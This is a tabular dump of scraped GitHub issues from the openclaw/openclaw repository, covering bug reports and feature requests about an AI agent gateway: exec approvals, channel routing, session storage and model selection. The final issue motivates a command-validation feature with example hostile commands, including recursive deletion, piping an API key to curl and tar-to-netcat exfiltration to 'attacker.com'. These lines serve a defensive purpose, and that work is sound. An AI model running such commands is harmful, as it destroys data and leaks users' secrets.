repo stringclasses 1
value | github_id int64 3.77B 4.38B | github_node_id stringlengths 18 24 | number int64 75 77.8k | html_url stringlengths 46 49 | api_url stringlengths 56 59 | title stringlengths 1 746 | body stringlengths 1 55.7k ⌀ | state stringclasses 2
values | state_reason stringclasses 4
values | locked bool 2
classes | comments_count int64 0 128 | labels listlengths 0 5 | assignees listlengths 0 2 | created_at stringdate 2026-01-01 16:55:34 2026-05-05 11:59:03 | updated_at stringdate 2026-03-24 00:13:29 2026-05-05 11:59:15 | closed_at stringlengths 20 20 ⌀ | author_association stringclasses 3
values | milestone_title stringclasses 0
values | snapshot_id stringclasses 76
values | extracted_at stringdate 2026-03-24 23:36:49 2026-05-05 12:00:33 | author_login stringlengths 3 38 | author_id int64 346 282M | author_node_id stringlengths 12 20 | author_type stringclasses 2
values | author_site_admin bool 2
classes |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
openclaw/openclaw | 4,184,442,098 | I_kwDOQb6kR875aYTy | 58,783 | https://github.com/openclaw/openclaw/issues/58783 | https://api.github.com/repos/openclaw/openclaw/issues/58783 | v2026.3.31 regression: exec approval timeout/failure messages leak into wrong Telegram topics | ## Summary
After updating to v2026.3.31, exec approval prompt failures and timeouts are being routed as chat messages to the wrong Telegram topics instead of failing silently or routing back to the originating session.
## Environment
- OpenClaw version: v2026.3.31 (213a704)
- Channel: Telegram (supergroup with topic... | closed | completed | true | 1 | [] | [] | 2026-04-01T06:21:36Z | 2026-04-28T05:15:18Z | 2026-04-25T12:46:48Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | rayrage213 | 261,946,476 | U_kgDOD5z8bA | User | false |
openclaw/openclaw | 4,184,449,206 | I_kwDOQb6kR875aaC2 | 58,787 | https://github.com/openclaw/openclaw/issues/58787 | https://api.github.com/repos/openclaw/openclaw/issues/58787 | Feature Request: 基于 @ 标签的精确机器人激活控制 (飞书群聊多机器人场景) | # Feature Request: 基于 @ 标签的精确机器人激活控制
## 📋 问题描述
当前在飞书群聊中部署多个机器人时，存在以下问题：
1. **无法区分 @ 目标** - 当用户 @某个特定机器人 时，所有机器人都能收到消息并响应
2. **配置选项不足** - `requireMention` 只能控制"是否需要 @ 才能激活"，但无法区分"@了哪个机器人"
3. **群聊体验差** - 多个机器人同时回复同一条消息，造成刷屏
## 🎯 使用场景
### 场景 1：定向提问
```
用户：@小鱼 今天天气怎么样？
期望：只有"小鱼"回复
实际：所有机器人都回复 ❌
```
### 场景 2：多机器人协作
... | closed | completed | true | 1 | [] | [] | 2026-04-01T06:23:25Z | 2026-04-28T05:15:17Z | 2026-04-25T12:46:55Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | syperficial | 145,639,532 | U_kgDOCK5IbA | User | false |
openclaw/openclaw | 4,184,450,450 | I_kwDOQb6kR875aaWS | 58,788 | https://github.com/openclaw/openclaw/issues/58788 | https://api.github.com/repos/openclaw/openclaw/issues/58788 | v2026.3.31 regression: raw internal gateway log lines sent as Telegram DM messages | ## Summary
After updating to v2026.3.31, raw internal gateway log output is being sent as chat messages directly to the user's Telegram DM.
## Environment
- OpenClaw version: v2026.3.31 (213a704)
- Channel: Telegram (DM)
- OS: Debian 13, Linux 6.12
## What happened
The following raw log line appeared as a Telegram... | closed | completed | true | 2 | [] | [] | 2026-04-01T06:23:43Z | 2026-04-28T05:15:16Z | 2026-04-25T12:47:03Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | rayrage213 | 261,946,476 | U_kgDOD5z8bA | User | false |
openclaw/openclaw | 4,184,514,829 | I_kwDOQb6kR875aqEN | 58,794 | https://github.com/openclaw/openclaw/issues/58794 | https://api.github.com/repos/openclaw/openclaw/issues/58794 | iMessage channel: self-sent messages (is_from_me=true) echoed back as inbound | ## Bug: iMessage self-sent messages are echoed back as inbound
### Environment
- OpenClaw: 2026.3.31 (213a704)
- imsg: 0.5.0 (also reproduced on 0.4.0)
- macOS (Apple Silicon, macOS 15)
- Channel: iMessage (direct DM)
### Description
When the agent sends a reply via iMessage, the sent message is picked up by `imsg wa... | closed | completed | true | 5 | [] | [] | 2026-04-01T06:37:10Z | 2026-04-28T05:15:15Z | 2026-04-25T12:47:10Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | wangyaominde | 19,590,397 | MDQ6VXNlcjE5NTkwMzk3 | User | false |
openclaw/openclaw | 4,184,774,487 | I_kwDOQb6kR875bpdX | 58,821 | https://github.com/openclaw/openclaw/issues/58821 | https://api.github.com/repos/openclaw/openclaw/issues/58821 | webchat: system prompt context (MemOS <memories> block + startup instructions) leaked into user-visible chat | [Webchat] \<memories>\ Block and System Startup Prompt Visible to User
## Problem
When starting a new session via \/new\ or \/reset\ in the **webchat** channel, the user-visible chat UI renders raw internal system context that should be hidden:
### 1. MemOS \<memories>\ XML block
The full memory recall block inject... | closed | completed | true | 1 | [] | [] | 2026-04-01T07:24:11Z | 2026-04-28T05:15:15Z | 2026-04-25T12:47:17Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | lquk | 34,535,518 | MDQ6VXNlcjM0NTM1NTE4 | User | false |
openclaw/openclaw | 4,184,819,160 | I_kwDOQb6kR875b0XY | 58,827 | https://github.com/openclaw/openclaw/issues/58827 | https://api.github.com/repos/openclaw/openclaw/issues/58827 | Unhandled promise rejection: NOT NULL constraint on task_runs.requester_session_key crashes gateway | ## Problem
Gateway crashes with an unhandled promise rejection when completing a subagent run, due to a `NOT NULL` constraint violation on `task_runs.requester_session_key`.
## Error
```
[openclaw] Unhandled promise rejection: Error: NOT NULL constraint failed: task_runs.requester_session_key
at upsertTaskWithDe... | closed | completed | true | 2 | [] | [
"vincentkoc"
] | 2026-04-01T07:32:11Z | 2026-04-28T05:15:14Z | 2026-04-25T12:47:24Z | CONTRIBUTOR | null | 20260428T060020Z | 2026-04-28T06:00:20Z | kagura-agent | 268,167,063 | U_kgDOD_vnlw | User | false |
openclaw/openclaw | 4,184,923,828 | I_kwDOQb6kR875cN60 | 58,839 | https://github.com/openclaw/openclaw/issues/58839 | https://api.github.com/repos/openclaw/openclaw/issues/58839 | fix(agents): context overflow not detected for Bedrock, Ollama, and Cohere providers | ## Bug Description
`isContextOverflowError()` and `isLikelyContextOverflowError()` in `src/agents/pi-embedded-helpers/errors.ts` detect context window overflow for major providers (Anthropic, OpenAI, Groq) but miss several others. When context overflow goes undetected, the agent retries with the same oversized payload... | closed | completed | true | 2 | [] | [] | 2026-04-01T07:51:45Z | 2026-04-28T05:15:13Z | 2026-04-25T12:47:31Z | CONTRIBUTOR | null | 20260428T060020Z | 2026-04-28T06:00:20Z | aaron-he-zhu | 139,607,425 | U_kgDOCFI9gQ | User | false |
openclaw/openclaw | 4,328,041,951 | I_kwDOQb6kR88AAAABAfit3w | 71,571 | https://github.com/openclaw/openclaw/issues/71571 | https://api.github.com/repos/openclaw/openclaw/issues/71571 | Agent-level model field ignored during session creation — falls back to global default | ## Summary
The `model` field on agent definitions in `agents.list[]` is being ignored during session creation. Sessions always resolve to `agents.defaults.model.primary` (the global default) instead of the agent-specific model.
## Environment
- **OpenClaw version:** 2026.4.20
- **OS:** macOS (Apple Silicon)
- **Chan... | closed | completed | true | 4 | [] | [] | 2026-04-25T12:07:10Z | 2026-04-28T04:42:50Z | 2026-04-26T02:35:42Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | marksunner | 210,025,981 | U_kgDODIS9_Q | User | false |
openclaw/openclaw | 4,185,029,720 | I_kwDOQb6kR875cnxY | 58,858 | https://github.com/openclaw/openclaw/issues/58858 | https://api.github.com/repos/openclaw/openclaw/issues/58858 | Feature request: Allow users to configure exec approval policy (strict/moderate/permissive) | ## Feature Request
### Problem
After upgrading to 2026.3.31, every `exec` command from the agent requires manual user approval, even read-only commands like `grep`, `cat`, `ls`, `wc -l`. This makes troubleshooting and routine operations extremely slow — during a Telegram debugging session today, over 10 approval prom... | closed | completed | true | 1 | [] | [] | 2026-04-01T08:12:12Z | 2026-04-28T05:15:12Z | 2026-04-25T12:47:54Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | qingcaohuang | 212,649,676 | U_kgDODKzGzA | User | false |
openclaw/openclaw | 4,185,061,227 | I_kwDOQb6kR875cvdr | 58,864 | https://github.com/openclaw/openclaw/issues/58864 | https://api.github.com/repos/openclaw/openclaw/issues/58864 | Telegram forum topic exec approval follow-up is delivered to general topic instead of the originating topic | ## Summary
When an exec approval request is triggered from a Telegram forum topic, the approval prompt can be delivered correctly to the approver's Telegram DM, but after the approval is granted, the follow-up result is delivered to the group's general topic (`topic:1`) instead of the originating forum topic.
In my c... | closed | completed | true | 3 | [] | [] | 2026-04-01T08:18:02Z | 2026-04-28T05:15:11Z | 2026-04-25T12:48:02Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | Silronin | 67,084,317 | MDQ6VXNlcjY3MDg0MzE3 | User | false |
openclaw/openclaw | 4,185,089,129 | I_kwDOQb6kR875c2Rp | 58,866 | https://github.com/openclaw/openclaw/issues/58866 | https://api.github.com/repos/openclaw/openclaw/issues/58866 | Feishu: ackReaction removed before reply message is sent, causing user confusion | ## Bug Description
When using Feishu channel, the bot adds an ackReaction (e.g. 👀) to indicate "message received", then immediately removes it **before** the actual reply message is sent. This creates a confusing user experience:
1. User sends a message
2. Bot adds 👀 reaction
3. Bot removes 👀 reaction ← User sees ... | closed | completed | true | 2 | [] | [] | 2026-04-01T08:22:37Z | 2026-04-28T05:15:09Z | 2026-04-25T12:50:24Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | zhouczc | 101,169,163 | U_kgDOBge4Cw | User | false |
openclaw/openclaw | 4,185,099,126 | I_kwDOQb6kR875c4t2 | 58,868 | https://github.com/openclaw/openclaw/issues/58868 | https://api.github.com/repos/openclaw/openclaw/issues/58868 | Thought content tool call format incorrectly parsed as actual invocation causing empty parameter validation errors | ## Problem Description
When Agent explains tool usage or shows code examples in the thought content, if it contains format (like ), Gateway incorrectly parses it as an actual tool invocation, passing empty parameters and triggering validation errors.
## Reproduction Steps
1. Agent writes in thought:
2. Gatewa... | closed | completed | true | 2 | [] | [] | 2026-04-01T08:24:14Z | 2026-04-28T05:15:09Z | 2026-04-25T12:50:31Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | maojian92-crypto | 255,829,512 | U_kgDODz-mCA | User | false |
openclaw/openclaw | 4,185,181,694 | I_kwDOQb6kR875dM3- | 58,876 | https://github.com/openclaw/openclaw/issues/58876 | https://api.github.com/repos/openclaw/openclaw/issues/58876 | [Bug] macOS WebChat screenshot shows locally but image not sent to AI | ## Environment
- EasyClaw version: 1.3.28 (build 2026.3.30.307)
- OS: macOS
- Channel: WebChat (macOS Desktop App)
## Problem Description
In EasyClaw macOS desktop app chat interface:
1. Click the screenshot button, successfully capture screen
2. Screenshot displays correctly in local chat (visible)
3. After clicking ... | closed | completed | true | 5 | [] | [] | 2026-04-01T08:38:20Z | 2026-04-28T05:15:08Z | 2026-04-25T12:50:38Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | caiheng1123 | 68,858,468 | MDQ6VXNlcjY4ODU4NDY4 | User | false |
openclaw/openclaw | 4,185,256,361 | I_kwDOQb6kR875dfGp | 58,880 | https://github.com/openclaw/openclaw/issues/58880 | https://api.github.com/repos/openclaw/openclaw/issues/58880 | [Bug]: OpenRouter. 400 Reasoning is mandatory for this endpoint and cannot be disabled. | ### Bug type
Regression (worked before, now fails)
### Beta release blocker
No
### Summary
After upgrading from 2026.3.24 to 2026.3.28/2026.3.31, for any OpenRouter free model got message:
"400 Reasoning is mandatory for this endpoint and cannot be disabled."
Tested with:
"openrouter/stepfun/step-3.5-fl... | closed | completed | true | 2 | [
"bug",
"regression"
] | [] | 2026-04-01T08:50:23Z | 2026-04-28T05:15:07Z | 2026-04-25T12:50:45Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | danilovmy | 39,524,090 | MDQ6VXNlcjM5NTI0MDkw | User | false |
openclaw/openclaw | 4,185,291,315 | I_kwDOQb6kR875dnoz | 58,884 | https://github.com/openclaw/openclaw/issues/58884 | https://api.github.com/repos/openclaw/openclaw/issues/58884 | [Bug]: Numeraous calls to statsig.anthropic.com when not using Claude / Anthropic models | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
When reviewing the network logs I can see numerous calls to statsig.anthropic.com coming form openclaw even if I don't use / have never setup any Anthropic product.
<img width="481" height="844" alt="Image" sr... | closed | completed | true | 2 | [
"bug",
"bug:behavior"
] | [] | 2026-04-01T08:55:46Z | 2026-04-28T05:15:06Z | 2026-04-25T12:50:53Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | jaimezapa | 59,747,360 | MDQ6VXNlcjU5NzQ3MzYw | User | false |
openclaw/openclaw | 4,185,309,457 | I_kwDOQb6kR875dsER | 58,885 | https://github.com/openclaw/openclaw/issues/58885 | https://api.github.com/repos/openclaw/openclaw/issues/58885 | [Bug]: Sandbox enabled by default on update breaks all exec for existing single-user setups | ### Bug type
Regression / breaking change without migration path
### Summary
After updating from a pre-sandbox version to 2026.4.1, a Docker sandbox container is **automatically created and enabled** for existing agents with no prior sandbox configuration. This silently breaks all `exec` tool calls — commands are bl... | closed | completed | true | 3 | [] | [] | 2026-04-01T08:58:28Z | 2026-04-28T05:15:06Z | 2026-04-25T12:51:00Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fwends | 4,113,483 | MDQ6VXNlcjQxMTM0ODM= | User | false |
openclaw/openclaw | 4,185,345,928 | I_kwDOQb6kR875d0-I | 58,892 | https://github.com/openclaw/openclaw/issues/58892 | https://api.github.com/repos/openclaw/openclaw/issues/58892 | ACP block replies not marked as visible text on Discord, causing full message duplication | ## Bug
When an ACP agent streams output via block replies on Discord, the final message gets sent twice — once as streamed blocks, and again as a full duplicate at the end.
## Root Cause
In `dispatch-acp.runtime-nq9T9sRU.js`, the function `shouldTreatDeliveredTextAsVisible` only marks a delivery as visible when:
- `... | closed | completed | true | 3 | [] | [] | 2026-04-01T09:04:06Z | 2026-04-28T05:15:05Z | 2026-04-25T12:51:07Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | brew-agent | 263,394,628 | U_kgDOD7MVRA | User | false |
openclaw/openclaw | 4,185,432,066 | I_kwDOQb6kR875eKAC | 58,899 | https://github.com/openclaw/openclaw/issues/58899 | https://api.github.com/repos/openclaw/openclaw/issues/58899 | [Bug] 多实例部署时 agent.id 默认为 main 导致 session 目录冲突 | ## 问题描述（由 Claude Code 发现并总结）
在部署多个 OpenClaw Gateway 实例时，如果不在配置中显式指定不同的 `agent.id`，所有实例默认使用 `id: "main"`，导致它们共享同一个 session 目录。
## 复现场景
1. 部署 Friday (port 18789)、Andy (port 18790)、vovo (port 18793) 三个独立 Gateway
2. 每个实例有独立的 `openclaw.json` 和 `OPENCLAW_CONFIG_PATH`
3. 但如果不显式设置 `agents.list[].id`，默认都是 `"id": "main"`
4. 导... | closed | not_planned | true | 1 | [] | [] | 2026-04-01T09:17:38Z | 2026-04-28T05:15:04Z | 2026-04-25T12:51:14Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | JAANG131 | 203,095,831 | U_kgDODBr_Fw | User | false |
openclaw/openclaw | 4,185,444,526 | I_kwDOQb6kR875eNCu | 58,901 | https://github.com/openclaw/openclaw/issues/58901 | https://api.github.com/repos/openclaw/openclaw/issues/58901 | [Bug] agents.defaults.sessionsDir 配置无效，OpenClaw 未识别此配置项 | ## 问题描述（由 Claude Code 发现并总结）
尝试通过 `agents.defaults.sessionsDir` 配置为不同 agent 实例指定独立的 session 存储目录，但该配置项被 OpenClaw 判定为无效配置。
## 复现场景
1. 部署多个 OpenClaw Gateway 实例
2. 尝试在不同实例的 openclaw.json 中配置：
```json
{
"agents": {
"defaults": {
"sessionsDir": "/Users/jiangzuozhong/.openclaw-ansys/agents/main/sessions"
}... | closed | completed | true | 1 | [] | [] | 2026-04-01T09:19:19Z | 2026-04-28T05:15:03Z | 2026-04-25T12:51:21Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | JAANG131 | 203,095,831 | U_kgDODBr_Fw | User | false |
openclaw/openclaw | 4,185,457,801 | I_kwDOQb6kR875eQSJ | 58,903 | https://github.com/openclaw/openclaw/issues/58903 | https://api.github.com/repos/openclaw/openclaw/issues/58903 | Disconnected Node causes false 'Rate Limit' errors (node.invoke timeout misclassified) | # Bug Report: Disconnected Node Causes False "Rate Limit" Errors
## Summary
When a paired node (e.g. macOS companion app) is **paired but not connected**, OpenClaw attempts `node.invoke` calls that time out after 30 seconds. The resulting timeout error is surfaced to the user as **"⚠️ API rate limit reached"** — a co... | closed | completed | true | 2 | [] | [] | 2026-04-01T09:21:22Z | 2026-04-28T05:15:02Z | 2026-04-25T12:51:36Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | fabudde | 188,329,353 | U_kgDOCzmtiQ | User | false |
openclaw/openclaw | 4,185,583,343 | I_kwDOQb6kR875eu7v | 58,914 | https://github.com/openclaw/openclaw/issues/58914 | https://api.github.com/repos/openclaw/openclaw/issues/58914 | Feature request: finer-grained FS permissions beyond tools.fs.workspaceOnly | ## Summary
When an agent enables `tools.fs.workspaceOnly: true`, filesystem access becomes too coarse-grained: the agent cannot read files outside its workspace, even in legitimate cases where read-only access to shared/global paths is needed.
This can break practical workflows such as:
- reading globally installed s... | closed | completed | true | 1 | [] | [] | 2026-04-01T09:43:14Z | 2026-04-28T05:15:01Z | 2026-04-25T12:51:43Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | inkorcloud-bot | 261,550,385 | U_kgDOD5bxMQ | User | false |
openclaw/openclaw | 4,185,667,170 | I_kwDOQb6kR875fDZi | 58,924 | https://github.com/openclaw/openclaw/issues/58924 | https://api.github.com/repos/openclaw/openclaw/issues/58924 | lossless-claw: orphaned tool_use blocks in lcm.db after model switch cause permanent Anthropic API failures | ## Summary
When switching from a non-Anthropic model (e.g. MiniMax M2.7) to an Anthropic model (e.g. Claude Sonnet) mid-conversation, an orphaned \`tool_use\` block gets written to \`lcm.db\` without a corresponding \`tool_result\`. Every subsequent Anthropic API request for that channel then fails permanently with:
... | closed | completed | true | 1 | [] | [] | 2026-04-01T09:56:31Z | 2026-04-28T05:15:01Z | 2026-04-25T12:51:50Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | christophersilvestri | 70,576,405 | MDQ6VXNlcjcwNTc2NDA1 | User | false |
openclaw/openclaw | 4,185,707,405 | I_kwDOQb6kR875fNON | 58,927 | https://github.com/openclaw/openclaw/issues/58927 | https://api.github.com/repos/openclaw/openclaw/issues/58927 | [Bug]: Cron jobs ignore payload.model and agentId, always resolving to the default/main agent model | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
Cron-executed jobs do not honor explicit model selection via either payload.model or agentId.
Despite correct configuration, all cron jobs resolve to the default/main agent model at runtime.
This prevents ass... | closed | completed | true | 6 | [
"bug",
"bug:behavior"
] | [] | 2026-04-01T10:03:03Z | 2026-04-28T05:15:00Z | 2026-04-25T12:51:57Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | QT77-MU | 272,776,633 | U_kgDOEEI9uQ | User | false |
openclaw/openclaw | 4,185,766,174 | I_kwDOQb6kR875fbke | 58,935 | https://github.com/openclaw/openclaw/issues/58935 | https://api.github.com/repos/openclaw/openclaw/issues/58935 | Bug: Gateway false positive warnings about qmd collections in v2026.3.31 | ## Description
After upgrading to OpenClaw v2026.3.31 and installing qmd CLI as a backup memory backend, the Gateway continuously reports false positive warnings about qmd collections, even though no qmd collections actually exist in the system.
## Environment
- **OpenClaw Version**: v2026.3.31
- **OS**: macOS 26.4 ... | closed | completed | true | 1 | [] | [] | 2026-04-01T10:12:57Z | 2026-04-28T05:14:59Z | 2026-04-25T12:52:12Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | Suidge | 34,770,064 | MDQ6VXNlcjM0NzcwMDY0 | User | false |
openclaw/openclaw | 4,185,776,199 | I_kwDOQb6kR875feBH | 58,936 | https://github.com/openclaw/openclaw/issues/58936 | https://api.github.com/repos/openclaw/openclaw/issues/58936 | [Bug]: wecommcp smartsheetadd_records returns success but data not persisted in sub-sheets | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
When using smartsheetaddrecords or smartsheetupdaterecords on a sub-sheet (child sheet of a smartsheet document), the API returns {"errcode": 0, "errmsg": "ok"} but the data is never actually persisted.
### St... | closed | not_planned | true | 1 | [
"bug",
"bug:behavior"
] | [] | 2026-04-01T10:14:54Z | 2026-04-28T05:14:58Z | 2026-04-25T12:52:19Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | rachelhuang | 9,669,594 | MDQ6VXNlcjk2Njk1OTQ= | User | false |
openclaw/openclaw | 4,185,894,177 | I_kwDOQb6kR875f60h | 58,945 | https://github.com/openclaw/openclaw/issues/58945 | https://api.github.com/repos/openclaw/openclaw/issues/58945 | [Feature]: sqlite local file system search | ### Summary
Provide a sqlite file system search solution, especially for Chinese (pinyin search, simple/traditional Chinese search, Chinese tokenizer...)
https://github.com/chrwhy/simple-search
### Problem to solve
Provide a sqlite file system search solution, especially for Chinese (pinyin search, simple/tradition... | closed | not_planned | true | 1 | [
"enhancement"
] | [] | 2026-04-01T10:35:41Z | 2026-04-28T05:14:58Z | 2026-04-25T12:52:33Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | chrwhy | 883,227 | MDQ6VXNlcjg4MzIyNw== | User | false |
openclaw/openclaw | 4,185,961,976 | I_kwDOQb6kR875gLX4 | 58,953 | https://github.com/openclaw/openclaw/issues/58953 | https://api.github.com/repos/openclaw/openclaw/issues/58953 | P2P messages stuck with replies=0 after gateway restart | # Issue: P2P messages stuck with replies=0 after gateway restart
## Description
After running `openclaw gateway restart`, the main session stops processing p2p (direct message) messages. Messages are received and dispatched by the gateway, but the agent generates **zero replies** (`replies=0`). The session only recov... | closed | completed | true | 3 | [] | [] | 2026-04-01T10:48:50Z | 2026-04-28T05:14:57Z | 2026-04-25T12:52:41Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | yc111233 | 109,650,216 | U_kgDOBokhKA | User | false |
openclaw/openclaw | 4,186,012,124 | I_kwDOQb6kR875gXnc | 58,959 | https://github.com/openclaw/openclaw/issues/58959 | https://api.github.com/repos/openclaw/openclaw/issues/58959 | Login refresh loop after account deletion + GitHub username rename | ## Summary
I deleted my ClawHub account because it still showed my old GitHub username after a rename.
Now I cannot log back in: clicking "Sign in with GitHub" refreshes/loops and I'm never logged in.
## What I already tried
- Logged out of GitHub completely
- Cleared site data for clawhub.ai (cookies + local storage)... | closed | not_planned | true | 2 | [] | [] | 2026-04-01T10:58:12Z | 2026-04-28T05:14:56Z | 2026-04-25T12:52:48Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | 0xMassi | 88,933,932 | MDQ6VXNlcjg4OTMzOTMy | User | false |
openclaw/openclaw | 4,186,064,986 | I_kwDOQb6kR875gkha | 58,962 | https://github.com/openclaw/openclaw/issues/58962 | https://api.github.com/repos/openclaw/openclaw/issues/58962 | [Bug]: pdf tool / model not being used | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
Configured PDF model is not used resulting in low quality pdf processing.
### Steps to reproduce
Setup according [to docs](https://docs.openclaw.ai/tools/pdf)
```
pdfModel: {
primary: "anthropic/claud... | closed | not_planned | true | 4 | [
"bug",
"bug:behavior"
] | [] | 2026-04-01T11:08:04Z | 2026-04-28T05:14:54Z | 2026-04-25T12:52:55Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | ThomSMG | 132,069,614 | U_kgDOB9847g | User | false |
openclaw/openclaw | 4,186,082,101 | I_kwDOQb6kR875gos1 | 58,964 | https://github.com/openclaw/openclaw/issues/58964 | https://api.github.com/repos/openclaw/openclaw/issues/58964 | openresponses-http tests fail on origin/main for unauthenticated requests and owner detection | ## Summary
I reproduced two failing tests in `src/gateway/openresponses-http.test.ts` on `origin/main`.
## Reproduction
```bash
pnpm test -- src/gateway/openresponses-http.test.ts src/gateway/server-chat.agent-events.test.ts
```
## Failures
1. Unauthenticated POST to `/v1/responses` returns `200` instead of `403`
... | closed | not_planned | true | 1 | [] | [] | 2026-04-01T11:11:12Z | 2026-04-28T05:14:54Z | 2026-04-25T12:53:02Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | efww | 61,319,691 | MDQ6VXNlcjYxMzE5Njkx | User | false |
openclaw/openclaw | 4,186,102,142 | I_kwDOQb6kR875gtl- | 58,966 | https://github.com/openclaw/openclaw/issues/58966 | https://api.github.com/repos/openclaw/openclaw/issues/58966 | Feature: Per-session tool scoping for cron jobs | ## Problem
Cron jobs running as isolated sessions inherit the agent's full tool configuration. For agents with many tools (e.g. 30+ Feishu tools), this means the system prompt + tool definitions can exceed 130K tokens, making it impossible to use smaller/cheaper models (e.g. glm-4.5-air with 131K context) for simple r... | closed | completed | true | 2 | [] | [] | 2026-04-01T11:15:03Z | 2026-04-28T05:14:53Z | 2026-04-25T12:53:09Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | Cortn9 | 269,105,430 | U_kgDOEAo5Fg | User | false |
openclaw/openclaw | 4,186,121,594 | I_kwDOQb6kR875gyV6 | 58,967 | https://github.com/openclaw/openclaw/issues/58967 | https://api.github.com/repos/openclaw/openclaw/issues/58967 | openai-responses API: reasoning items break history replay with 400 error | ## Bug Description
When using the `openai-responses` API with `reasoning: true` on a model (Azure OpenAI GPT-5.3), the first message works correctly and generates reasoning tokens. However, **every subsequent message in the same session** fails with:
```
400 Item 'rs_XXXX' of type 'reasoning' was provided without its... | closed | completed | true | 1 | [] | [] | 2026-04-01T11:18:52Z | 2026-04-28T05:14:52Z | 2026-04-25T12:53:16Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | 1vecera | 32,644,386 | MDQ6VXNlcjMyNjQ0Mzg2 | User | false |
openclaw/openclaw | 4,186,127,543 | I_kwDOQb6kR875gzy3 | 58,969 | https://github.com/openclaw/openclaw/issues/58969 | https://api.github.com/repos/openclaw/openclaw/issues/58969 | [Bug] stripMarkdown() function incorrectly deletes underscores, breaking programming language identifiers | # Bug Report: stripMarkdown() function incorrectly deletes underscores, breaking programming language identifiers
## Description
The `stripMarkdown()` function in OpenClaw's core text runtime contains a regex bug that incorrectly removes underscores from text. This breaks all programming language code (C, C++, Python... | closed | completed | true | 1 | [] | [] | 2026-04-01T11:20:02Z | 2026-04-28T05:14:52Z | 2026-04-25T12:53:23Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | nxajh | 5,937,392 | MDQ6VXNlcjU5MzczOTI= | User | false |
openclaw/openclaw | 4,186,130,124 | I_kwDOQb6kR875g0bM | 58,970 | https://github.com/openclaw/openclaw/issues/58970 | https://api.github.com/repos/openclaw/openclaw/issues/58970 | fix(edit tool): edits[] format with unicode fails with misleading 'Missing required parameters' error | ## Summary
The `edit` tool fails with `Missing required parameters: oldText alias, newText alias` when called with the native pi-coding-agent `edits: [{oldText, newText}]` array format. This is especially reproducible — and consistent — when `oldText` or `newText` contain unicode characters (em dashes U+2014, smart qu... | closed | completed | true | 3 | [] | [] | 2026-04-01T11:20:31Z | 2026-04-28T05:14:51Z | 2026-04-25T12:53:31Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | EroUsr99 | 193,791,822 | U_kgDOC40HTg | User | false |
openclaw/openclaw | 4,186,212,263 | I_kwDOQb6kR875hIen | 58,976 | https://github.com/openclaw/openclaw/issues/58976 | https://api.github.com/repos/openclaw/openclaw/issues/58976 | enhancement - Telegram bot is not practically usable with per-command exec approvals — need durable approval scopes | Hi. The current exec approval model makes OpenClaw practically unusable through the Telegram bot.
### Problem
When the assistant needs `exec`, approval is requested too often and usually falls back to the Web UI / terminal UI.
In practice the flow becomes:
1. I ask the bot to do something in Telegram
2. it needs `e... | closed | completed | true | 3 | [] | [] | 2026-04-01T11:34:33Z | 2026-04-28T05:14:50Z | 2026-04-25T12:53:38Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | drarturryzhov-boop | 241,340,210 | U_kgDODmKPMg | User | false |
openclaw/openclaw | 4,186,216,900 | I_kwDOQb6kR875hJnE | 58,978 | https://github.com/openclaw/openclaw/issues/58978 | https://api.github.com/repos/openclaw/openclaw/issues/58978 | Feature: tiered context compaction (tool-output-first compression) | ### Motivation
Large tool outputs from `exec`, `web_fetch`, and similar tools consume context disproportionately. A single `web_fetch` call can return 20–50KB of markdown, and `exec` outputs from build logs or database queries can be even larger. When context limits are reached, the current compaction strategy summari... | closed | completed | true | 3 | [] | [] | 2026-04-01T11:35:19Z | 2026-04-28T05:14:49Z | 2026-04-25T12:53:45Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | yozu | 1,403,979 | MDQ6VXNlcjE0MDM5Nzk= | User | false |
openclaw/openclaw | 4,186,234,398 | I_kwDOQb6kR875hN4e | 58,982 | https://github.com/openclaw/openclaw/issues/58982 | https://api.github.com/repos/openclaw/openclaw/issues/58982 | Feature: bundle exec-security skill for pre-execution command validation | ### Motivation
AI agents executing shell commands on behalf of users face inherent safety risks. A single malicious or poorly-constructed command can:
- Recursively delete critical files (`rm -rf /`, `rm -rf ~`)
- Leak credentials (`echo $API_KEY | curl ...`)
- Exfiltrate data (`tar cf - ~ | nc attacker.com 9999`)
